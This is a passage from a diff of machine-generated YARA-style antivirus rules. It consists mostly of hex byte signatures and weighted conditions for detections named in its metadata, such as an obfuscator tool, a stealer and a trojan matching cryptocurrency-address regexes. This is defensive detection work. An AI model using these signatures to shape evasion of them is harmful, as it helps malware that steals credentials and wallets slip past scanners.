33 33 7d 01 00 14 01 74 7a 31 5b } //26739 - $a_2d_95 = {2d 39 2d 61 2d 7a 5d 7b 33 33 7d 01 00 14 01 7a 69 6c 5b 41 2d 5a 2d 30 2d 39 2d 61 2d 7a 5d 7b 33 39 7d 00 00 78 90 0c 00 01 00 01 00 8c 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 75 70 6b 2e 31 00 01 00 } //11585 - $a_5d_96 = {80 f1 90 02 30 80 c1 90 02 30 d2 cb 90 00 01 00 11 03 8a 45 ff 80 f1 90 02 30 80 c1 90 02 30 d2 c8 90 00 01 00 10 03 8a 02 80 f1 90 02 30 80 c1 90 02 30 d2 c8 90 00 01 00 10 03 8a 10 80 f1 90 02 30 80 c1 90 02 30 d2 ca 90 00 01 00 12 03 8a 55 ff 80 f2 90 01 01 80 c2 90 01 01 88 55 ff 90 00 01 00 10 03 8a 16 80 f2 90 01 01 80 c2 90 01 01 88 16 90 00 01 00 04 01 8a 45 fc 04 01 00 04 01 0f b6 45 ff 01 00 04 01 0f } //785 - $a_01_97 = {00 07 01 8b 84 08 80 00 00 00 01 00 07 01 8b 84 10 80 00 00 00 01 00 06 01 33 ca 03 ce 88 4d 01 00 0b 03 8a 08 80 c1 90 01 01 80 f1 90 00 01 00 06 01 33 c7 03 c6 3b 01 01 00 05 01 33 c8 89 4d 0c 01 00 08 01 2b de 8b 75 08 88 0c 33 01 00 17 03 0f b6 45 0b 0f b6 4d 0b 34 90 01 01 04 90 01 01 03 c1 88 45 0b 90 00 01 00 1a 03 0f b6 44 24 13 0f b6 4c 24 13 34 90 01 01 04 90 01 01 03 c1 88 44 24 13 90 00 01 00 0b 03 2a d1 00 55 90 01 01 d0 4d 90 00 01 00 16 03 2a da 00 5d 0b 90 09 08 00 8b 55 90 01 01 80 f2 90 01 01 b3 90 00 01 00 10 03 8b 55 e0 80 f2 90 01 01 b3 90 01 01 2a da 90 00 01 00 10 03 8a 16 80 f2 90 01 01 80 ea 90 01 01 88 16 90 00 01 00 0a 03 8a 04 08 04 90 01 01 34 90 00 01 00 13 03 8a 45 ff 8b 90 02 20 34 90 02 20 2c 90 02 20 88 01 90 00 01 00 07 } //21942 - $a_f8_98 = {d0 03 d6 65 00 14 03 8a 45 ff 8b 4d 90 01 01 34 90 01 01 2c 90 01 01 88 01 90 00 65 00 0f 03 8b 4d f0 34 90 02 10 2c 90 02 10 88 01 90 00 01 00 13 03 0f be 14 38 80 f1 90 01 01 80 e9 90 01 01 0f b6 c9 90 00 01 00 18 03 8a 00 85 c9 90 03 05 04 0f 85 90 01 } //-29951 - $a_01_99 = {01 04 90 01 01 34 90 00 01 00 18 03 8a 00 85 d2 90 03 05 04 0f 85 90 01 04 75 90 01 01 34 90 01 01 04 90 00 01 00 18 03 8a 00 85 c9 90 03 05 04 0f 85 90 01 04 75 90 01 01 34 90 01 01 2c 90 00 01 00 0e 03 8a 04 01 2c 90 01 01 34 90 01 01 3c 90 00 01 00 0f 03 8b 55 e8 34 90 01 01 04 90 02 10 88 02 90 00 01 00 15 03 8a 55 ff 88 54 0d 90 01 01 41 83 f9 40 0f 82 ef ff ff ff 90 00 01 00 10 03 8a 16 80 c2 90 01 01 80 f2 90 01 01 88 16 } //29956 - $a_00_100 = {11 } //144 - $a_75_101 = {80 f2 90 01 01 80 c2 90 01 01 eb 90 00 01 00 19 03 8b 45 08 8a 00 90 02 10 2c 90 01 01 90 02 10 34 90 01 01 90 02 10 3c 90 00 01 00 1d 03 8a 45 0b 8b 0d 90 01 04 90 02 08 34 90 01 01 90 02 08 04 90 01 01 90 02 08 88 01 90 00 01 00 0f 03 8b f8 8a 07 04 90 01 01 34 90 01 01 3c 90 00 01 00 0c 03 8a 0c 11 80 c1 90 01 01 80 f1 90 00 01 00 0f 03 88 0c 02 8b 45 0c 90 09 07 00 8a 8c 0b 90 00 01 00 0f 03 8b 45 08 8a 00 90 02 10 04 90 02 10 34 90 00 01 00 19 03 c7 45 fc ff ff ff ff 8b 45 08 90 02 10 8a 00 90 02 10 2c 90 01 01 34 90 00 01 00 15 03 8b 4d f0 34 90 01 01 90 02 10 2c } //-31485 - $a_90_102 = {10 } //400 - $a_00_103 = {01 00 17 03 03 4d 10 b8 90 01 02 00 00 66 33 01 b9 90 01 02 00 00 66 03 c1 90 00 01 00 15 03 8a 04 08 8b 55 90 01 01 34 90 01 01 04 90 01 01 88 04 0a 90 00 01 00 12 03 8a 10 80 f2 90 01 01 fe 90 03 01 01 c2 ca 88 10 90 00 01 00 14 03 75 08 80 f2 90 01 01 80 c2 90 01 01 eb 90 01 01 8b 45 90 00 01 00 1b 03 0f 85 0b 00 00 00 80 f2 90 01 01 80 c2 90 01 01 e9 90 01 01 00 00 00 8b 45 90 00 01 00 19 03 0f 85 1a 00 00 00 0f b6 85 90 01 } //392 - $a_35_104 = {01 01 00 00 00 83 c0 90 00 01 00 1b 03 0f 85 1c 00 00 00 33 c0 0f b6 85 90 01 02 ff ff 35 90 01 01 00 00 00 83 c0 90 00 01 00 16 03 0f 85 10 00 00 00 33 c0 8a 4d 90 01 01 80 f1 90 01 01 80 c1 90 00 01 00 0c 03 8a 4d eb 80 f1 90 01 01 80 c1 90 00 01 00 10 03 8a 45 ff 85 db 0f 85 90 01 01 00 00 00 34 90 00 01 00 04 01 8a 45 fb 34 01 00 04 01 8a 45 0f 34 01 00 04 01 8a 45 ff 34 01 00 09 03 8a 45 ff e9 90 16 34 90 00 01 00 11 03 8a 44 24 34 34 90 01 01 89 54 24 90 01 01 04 90 00 01 00 04 01 8a 45 f7 34 01 00 12 03 0f b6 45 ab 90 01 0a 35 90 01 01 00 00 00 83 c0 90 00 01 00 0d 03 0f be 04 10 80 f1 90 01 01 80 c1 90 00 01 00 0f 03 8a 45 fb 8b 0d 90 01 04 34 90 01 01 04 90 00 65 00 10 03 8a 45 0f 34 90 01 01 04 90 01 01 88 45 0f 90 00 65 00 17 03 8a 45 0b 8b 0d } //-254 - $a_8b_105 = {90 03 01 01 } //400 - $a_90_106 = {01 04 90 00 01 00 0b 03 8a 45 0b 8b 0d 90 01 07 34 90 00 01 00 15 03 8b 75 f8 34 90 01 01 90 03 04 01 e9 90 16 04 04 90 1b 00 90 00 01 00 0a 03 8b 75 f4 34 } //-3060 - $a_04_107 = {90 } //400 - $a_f2_109 = {01 01 80 90 03 01 01 c2 ea 90 01 01 88 10 90 00 65 00 1e 03 8a 04 02 88 45 ff 90 02 0a 0f 85 90 01 01 00 00 00 90 02 0a 34 90 01 01 90 02 0a 2c 90 00 65 00 22 03 8a 04 02 c7 90 02 0a 88 45 ff 90 02 0a 0f 85 90 01 01 00 00 00 90 02 0a 34 90 01 01 90 02 0a 2c 90 00 65 00 07 01 8a 45 ff 8b 4d f4 34 65 00 10 03 8a 44 24 33 8b 0d 90 01 04 34 90 01 01 04 90 00 65 00 10 03 8a 44 24 2f 8b } //4234 - $a_04_110 = {34 } //-28659 4 - $a_04_111 = {90 } //400 - $a_80_113 = {90 01 01 80 c1 90 01 01 88 0c 10 90 00 65 00 0c } //����� � 3210 - $a_f7_114 = {c1 90 01 01 80 f1 90 00 65 00 15 03 8b 5d dc 8a 45 ff 85 db 0f 85 09 00 00 00 34 90 01 01 2c 90 00 65 00 1b 03 8a 45 ff 8b 5d 90 02 10 85 db 90 02 10 0f 85 90 01 01 00 00 00 90 02 10 34 90 00 65 00 1a 03 8a 45 ff 81 90 02 10 85 db 90 02 10 0f 85 90 01 01 } //-30205 - $a_00_116 = {65 00 0e 03 8a 45 fb 04 90 01 01 34 90 01 01 3c 90 00 65 00 0e 03 8a 45 ff 04 90 01 01 34 90 01 01 3c 90 00 65 00 14 03 88 4d ff 0f 85 90 01 01 00 00 00 80 f1 90 01 01 80 e9 90 00 65 00 1e 03 0f b6 55 fd 0f 85 90 01 01 00 00 00 81 f2 90 01 01 00 00 00 81 c2 90 01 01 00 00 00 90 00 65 00 18 03 8a 11 89 4d 90 01 01 0f 85 90 01 01 00 00 00 80 f2 90 01 01 80 ea 90 00 9c ff 05 01 8b 55 fc 80 f1 9c ff 04 01 8b 4d f8 34 9c ff 04 01 8b } //13328 - $a_9c_117 = {11 03 0f b6 45 0b 8b 4d 90 17 03 01 01 01 fc f8 f4 90 00 9c ff 11 03 0f b6 4d 0b 8b 55 90 17 03 01 01 01 fc f8 f4 90 00 65 00 0f 03 88 44 0a ff 90 09 04 00 } //-2995 - $a_01_118 = {04 } //-28620 - $a_00_119 = {15 03 8a 4d 0b 8b 90 01 05 80 f1 90 01 01 80 c1 90 01 01 88 0a 90 00 65 00 16 03 8b 49 40 33 ce 90 02 60 80 f1 90 01 01 80 c1 90 01 01 88 0a 90 00 65 00 0f 03 8b 4d f8 34 90 01 01 2c 90 01 01 88 01 90 00 65 00 0c 03 2b d3 8b 5d 90 01 01 88 0c 1a 90 00 65 00 07 01 8a 45 0b 8b 4d f4 34 65 00 07 01 8b 45 } //144 - $a_80_120 = {65 00 19 03 8a 45 ff 2c } //e -30200 - $a_34_121 = {01 } //400 - $a_01_122 = {01 0f 84 90 01 01 00 00 00 90 00 65 00 1f 03 8a 45 ff 8b 0d 90 01 04 34 90 01 01 90 03 04 07 04 90 01 01 e9 90 16 04 90 01 01 88 01 90 00 65 00 19 03 8a 45 ff 04 90 01 01 34 90 01 01 3c 90 01 01 0f 84 90 01 01 00 00 00 90 00 64 00 0f 03 8a 45 f5 8b 0d 90 01 04 34 90 01 01 04 90 00 01 00 1c 03 8a 45 0f 34 90 01 01 2c 90 01 01 90 03 06 03 eb 90 14 90 02 10 90 02 10 88 01 90 00 65 00 12 03 8a 0c 10 80 f1 90 01 01 80 e9 90 01 01 88 } //15361 - $a_00_123 = {65 00 2b 03 8b 45 fc 8b 4d fc 33 c7 33 cb c1 e8 02 c1 e1 1e 0b c1 50 6a 18 8d 45 90 01 01 50 e8 90 01 02 ff ff 8b 45 90 01 01 83 c0 18 90 00 65 00 15 03 8b 55 08 8a 54 15 90 01 01 34 90 01 01 04 90 01 01 3a d0 90 00 65 00 11 03 8a 4d ff 80 e9 90 01 01 80 f1 90 01 01 80 f9 90 00 65 00 12 03 88 4d ff 0f 85 0b 00 00 00 80 f1 90 01 01 80 c1 90 00 65 00 0f 03 8a 45 f5 8a 4d 90 01 01 04 90 01 01 34 90 00 65 00 0f 03 8a 45 f6 8a 4d 90 } //4108 - $a_90_124 = {01 34 } //257 - $a_03_125 = {0f 85 15 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 (f1|f2) ?? 80 (|) e9 ea } //101 - $a_03_126 = {0f 85 15 00 00 00 80 (f1|f2) ?? 80 (|) e9 ea } //101 - $a_03_127 = {0f 85 15 00 00 00 80 (f1|f2) ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 (|) e9 ea } //101 - $a_03_128 = {0f 85 29 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 (f1|f2) ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 (|) e9 ea } //101 + $a_d0_56 = {00 08 01 52 8b 45 08 03 c6 ff d0 01 00 0d 03 8b 45 08 8d 8c 01 90 01 04 ff d1 90 00 01 00 0d 03 8b 55 08 8d 84 02 90 01 04 ff d0 90 00 01 00 09 01 8b 4d 08 52 50 03 ce ff d1 01 00 11 03 89 45 08 8b 45 08 ff d0 90 09 07 00 8d 84 01 90 00 00 00 78 40 0b 00 01 00 01 00 17 00 21 23 48 53 54 52 3a 53 74 65 61 6c 67 61 2e 44 53 4b 32 00 01 00 78 01 20 20 20 20 20 20 20 20 00 40 29 00 00 10 03 00 00 b2 09 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 69 64 61 74 61 00 00 00 10 00 00 00 50 2c 00 00 04 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 14 02 00 00 60 2c 00 00 14 02 00 00 16 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 e0 00 00 } //-15869 + $a_74_63 = {00 00 00 20 00 00 00 00 01 00 00 02 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 20 01 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 02 00 00 02 00 } //25705 + $a_00_64 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 02 00 00 02 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 80 02 00 00 12 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 01 00 00 02 00 00 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 01 00 00 02 00 00 00 06 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 } //0 + $a_00_66 = {00 00 80 01 00 00 06 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 } //0 + $a_20_67 = {20 20 20 20 0c 00 00 00 00 20 1b 00 00 02 00 00 00 a4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_74_69 = {00 00 00 20 00 00 00 40 1b 00 00 02 00 00 00 a6 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 1b 00 00 1e 00 00 00 a8 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 00 00 00 02 00 } //25705 + $a_00_70 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 e0 00 00 00 02 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 } //0 + $a_00_77 = {78 } //16384 x + $a_20_78 = {20 20 20 20 0c 00 00 00 00 c0 02 00 00 02 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_74_80 = {00 00 00 20 00 00 00 e0 02 00 00 02 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 01 00 00 00 03 00 00 10 01 00 00 be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 05 00 00 02 00 } //25705 + $a_04_81 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 40 05 00 00 02 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 05 00 00 06 00 00 00 da 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 80 06 00 00 02 00 00 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 a0 06 00 00 02 00 00 00 da 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 01 00 00 c0 06 00 00 10 01 00 00 dc 00 00 00 00 00 00 00 00 00 00 00 } //0 + $a_00_83 = {78 } //16384 x + $a_20_84 = {20 20 20 20 0c 00 00 00 00 a0 00 00 00 02 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_74_86 = {00 00 00 20 00 00 00 c0 00 00 00 02 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 e0 00 00 00 06 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 05 00 00 02 00 } //25705 + $a_00_87 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 e0 05 00 00 02 00 00 00 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 a8 01 00 00 00 06 00 00 a8 01 00 00 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 02 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 e0 02 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 } //0 + $a_73_88 = {63 00 00 00 00 20 00 00 00 00 03 00 00 06 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 20 32 00 0f 00 00 00 00 84 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 6d 70 6f 72 74 73 00 20 00 00 00 40 32 00 00 02 00 00 00 86 12 00 00 00 00 00 00 00 00 00 00 00 } //11968 + $a_00_89 = {00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 32 00 00 0c 00 00 00 88 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 80 01 00 00 02 } //0 + $a_64_95 = {74 61 00 00 00 20 00 00 00 a0 01 00 00 02 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 d6 00 00 00 c0 01 00 00 d6 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 00 10 00 00 02 00 00 00 38 0a 00 00 } //11842 + $a_69_99 = {61 74 61 00 00 00 20 00 00 00 20 10 00 00 02 00 00 00 3a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 } //16896 + $a_00_107 = {78 } //16384 x + $a_20_108 = {20 20 20 20 0c 00 00 00 00 60 12 00 00 02 00 00 00 3e 10 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_74_110 = {00 00 00 20 00 00 00 80 12 00 00 02 00 00 00 40 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 4e 00 00 00 a0 12 00 00 4e 00 00 00 42 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 7f 0e 00 00 00 13 00 00 90 06 } //25705 + $a_08_111 = {00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 } //0 + $a_20_112 = {20 20 20 20 aa 99 06 00 00 80 21 00 00 80 00 00 00 a0 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8256 + $a_20_114 = {20 20 5c c4 04 00 00 20 28 00 00 b0 01 00 00 20 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_00_115 = {78 } //16384 x + $a_20_116 = {20 20 20 20 10 a0 00 00 00 20 6c 00 00 a2 00 00 00 5c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8193 + $a_20_118 = {20 20 2c 22 03 00 00 d0 6c 00 96 f5 01 00 00 fe 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 + $a_65_119 = {70 6f 72 74 73 00 10 00 00 00 00 70 00 00 02 00 00 00 f4 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 } //16896 + $a_58_120 = {00 00 00 20 4e 00 00 10 00 00 00 d0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 } //8224 + $a_61_121 = {00 00 10 00 00 00 30 4e 00 00 10 00 00 00 e0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 40 4e 00 00 10 00 00 00 f0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 5f 00 00 02 00 00 00 4c 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 } //24932 + $a_64_122 = {74 61 00 00 00 20 00 00 00 e0 5f 00 00 02 00 00 00 4e 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 ec 00 00 00 00 60 00 00 ec 00 00 00 50 33 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 01 00 78 01 20 20 20 20 20 20 20 20 0c 00 00 00 00 c0 37 00 00 02 00 00 00 7e 37 00 00 } //11842 + $a_69_126 = {61 74 61 00 00 00 20 00 00 00 e0 37 00 00 02 00 00 00 80 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 } //16896 condition: - ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28769+(#a_73_2 & 1)*11892+(#a_63_3 & 1)*24943+(#a_6d_4 & 1)*25390+(#a_79_5 & 1)*30058+(#a_6f_6 & 1)*11892+(#a_6f_7 & 1)*11890+(#a_2f_8 & 1)*28515+(#a_74_9 & 1)*28526+(#a_61_10 & 1)*26113+(#a_66_11 & 1)*26466+(#a_61_12 & 1)*24948+(#a_2e_13 & 1)*29793+(#a_61_14 & 1)*27497+(#a_77_15 & 1)*26625+(#a_2f_16 & 1)*28515+(#a_74_18 & 1)*28265+(#a_74_20 & 1)*27905+(#a_6e_21 & 1)*25454+(#a_61_22 & 1)*28519+(#a_6f_23 & 1)*27764+(#a_00_24 & 1)*12147+(#a_70_25 & 1)*29441+(#a_68_26 & 1)*24948+(#a_6b_27 & 1)*29806+(#a_d2_28 & 1)*2133+(#a_b7_29 & 1)*801+(#a_d1_30 & 1)*2125+(#a_01_31 & 1)*-28603+(#a_01_32 & 1)*-28464+(#a_00_33 & 1)*144+(#a_14_34 & 1)*3843+(#a_03_35 & 1)*-254+(#a_ff_37 & 1)*7424+(#a_60_38 & 1)*-28660+(#a_4d_39 & 1)*-2313+(#a_c8_40 & 1)*2125+(#a_00_41 & 1)*-5876+(#a_00_42 & 1)*144+(#a_91_43 & 1)*771+(#a_03_44 & 1)*-11777+(#a_d2_45 & 1)*-12285+(#a_0b_47 & 1)*3840+(#a_0c_48 & 1)*-29902+(#a_ff_49 & 1)*850+(#a_00_50 & 1)*-11777+(#a_32_51 & 1)*-29951+(#a_d1_52 & 1)*-14333+(#a_45_53 & 1)*20483+(#a_90_54 & 1)*-31603+(#a_45_55 & 1)*267+(#a_d0_56 & 1)*-15869+(#a_38_57 & 1)*13352+(#a_5a_58 & 1)*20558+(#a_41_59 & 1)*11569+(#a_29_60 & 1)*25442+(#a_7b_61 & 1)*14637+(#a_2c_62 & 1)*12923+(#a_2d_63 & 1)*23337+(#a_28_64 & 1)*4608+(#a_5b_65 & 1)*10594+(#a_7c_66 & 1)*10241+(#a_30_67 & 1)*11585+(#a_39_68 & 1)*12634+(#a_7b_69 & 1)*31277+(#a_31_70 & 1)*23874+(#a_39_71 & 1)*23930+(#a_5b_72 & 1)*14637+(#a_4e_73 & 1)*19016+(#a_5d_74 & 1)*11568+(#a_7b_75 & 1)*14637+(#a_39_76 & 1)*12379+(#a_7b_77 & 1)*14637+(#a_2d_78 & 1)*23085+(#a_39_80 & 1)*12635+(#a_39_81 & 1)*12378+(#a_33_82 & 1)*23297+(#a_7b_83 & 1)*14637+(#a_35_84 & 1)*31581+(#a_39_85 & 1)*12379+(#a_6e_86 & 1)*27498+(#a_5b_87 & 1)*7680+(#a_6b_88 & 1)*24923+(#a_5d_89 & 1)*11569+(#a_63_90 & 1)*23297+(#a_2d_91 & 1)*23345+(#a_35_92 & 1)*14643+(#a_7d_93 & 1)*13435+(#a_61_94 & 1)*26739+(#a_2d_95 & 1)*11585+(#a_5d_96 & 1)*785+(#a_01_97 & 1)*21942+(#a_f8_98 & 1)*-29951+(#a_01_99 & 1)*29956+(#a_00_100 & 1)*144+(#a_75_101 & 1)*-31485+(#a_90_102 & 1)*400+(#a_00_103 & 1)*392+(#a_35_104 & 1)*-254+(#a_8b_105 & 1)*400+(#a_90_106 & 1)*-3060+(#a_04_107 & 1)*400+(#a_f2_109 & 1)*4234+(#a_04_110 & 1)*-28659+(#a_04_111 & 1)*400+(#a_80_113 & 1)*3210+(#a_f7_114 & 1)*-30205+(#a_00_116 & 1)*13328+(#a_9c_117 & 1)*-2995+(#a_01_118 & 1)*-28620+(#a_00_119 & 1)*144+(#a_80_120 & 1)*-30200+(#a_34_121 & 1)*400+(#a_01_122 & 1)*15361+(#a_00_123 & 1)*4108+(#a_90_124 & 1)*257+(#a_03_125 & 1)*101+(#a_03_126 & 1)*101+(#a_03_127 & 1)*101+(#a_03_128 & 1)*101) >=11 + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28769+(#a_73_2 & 1)*11892+(#a_63_3 & 1)*24943+(#a_6d_4 & 1)*25390+(#a_79_5 & 1)*30058+(#a_6f_6 & 1)*11892+(#a_6f_7 & 1)*11890+(#a_2f_8 & 1)*28515+(#a_74_9 & 1)*28526+(#a_61_10 & 1)*26113+(#a_66_11 & 1)*26466+(#a_61_12 & 1)*24948+(#a_2e_13 & 1)*29793+(#a_61_14 & 1)*27497+(#a_77_15 & 1)*26625+(#a_2f_16 & 1)*28515+(#a_74_18 & 1)*28265+(#a_74_20 & 1)*27905+(#a_6e_21 & 1)*25454+(#a_61_22 & 1)*28519+(#a_6f_23 & 1)*27764+(#a_00_24 & 1)*12147+(#a_70_25 & 1)*29441+(#a_68_26 & 1)*24948+(#a_6b_27 & 1)*29806+(#a_d2_28 & 1)*2133+(#a_b7_29 & 1)*801+(#a_d1_30 & 1)*2125+(#a_01_31 & 1)*-28603+(#a_01_32 & 1)*-28464+(#a_00_33 & 1)*144+(#a_14_34 & 1)*3843+(#a_03_35 & 1)*-254+(#a_ff_37 & 1)*7424+(#a_60_38 & 1)*-28660+(#a_4d_39 & 1)*-2313+(#a_c8_40 & 1)*2125+(#a_00_41 & 1)*-5876+(#a_00_42 & 1)*144+(#a_91_43 & 1)*771+(#a_03_44 & 1)*-11777+(#a_d2_45 & 1)*-12285+(#a_0b_47 & 1)*3840+(#a_0c_48 & 1)*-29902+(#a_ff_49 & 1)*850+(#a_00_50 & 1)*-11777+(#a_32_51 & 1)*-29951+(#a_d1_52 & 1)*-14333+(#a_45_53 & 1)*20483+(#a_90_54 & 1)*-31603+(#a_45_55 & 1)*267+(#a_d0_56 & 1)*-15869+(#a_74_63 & 1)*25705+(#a_00_64 & 1)*0+(#a_00_66 & 1)*0+(#a_20_67 & 1)*8193+(#a_74_69 & 1)*25705+(#a_00_70 & 1)*0+(#a_00_77 & 1)*16384+(#a_20_78 & 1)*8193+(#a_74_80 & 1)*25705+(#a_04_81 & 1)*0+(#a_00_83 & 1)*16384+(#a_20_84 & 1)*8193+(#a_74_86 & 1)*25705+(#a_00_87 & 1)*0+(#a_73_88 & 1)*11968+(#a_00_89 & 1)*0+(#a_64_95 & 1)*11842+(#a_69_99 & 1)*16896+(#a_00_107 & 1)*16384+(#a_20_108 & 1)*8193+(#a_74_110 & 1)*25705+(#a_08_111 & 1)*0+(#a_20_112 & 1)*8256+(#a_20_114 & 1)*8224+(#a_00_115 & 1)*16384+(#a_20_116 & 1)*8193+(#a_20_118 & 1)*8224+(#a_65_119 & 1)*16896+(#a_58_120 & 1)*8224+(#a_61_121 & 1)*24932+(#a_64_122 & 1)*11842+(#a_69_126 & 1)*16896) >=11 } -rule _InfrastructureShared_20588{ +rule _InfrastructureShared_21815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 69 00 21 " @@ -266890,22 +282411,34 @@ rule _InfrastructureShared_20588{ $a_03_91 = {8b 55 08 8d 84 02 ?? ?? ?? ?? ff d0 } //1 $a_01_92 = {8b 4d 08 52 50 03 ce ff d1 } //1 $a_03_93 = {89 45 08 8b 45 08 ff d0 90 09 07 00 8d 84 01 } //1 - $a_5b_94 = {00 01 00 01 00 63 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 41 64 64 72 65 73 73 52 65 67 65 78 00 01 00 1e 01 28 31 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 19 01 28 31 7c 33 29 5b 31 2d 39 41 2d 5a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 1e 01 28 33 29 5b 61 2d 6b } //0 - $a_41_95 = {48 4a 2d 4e 50 2d 5a 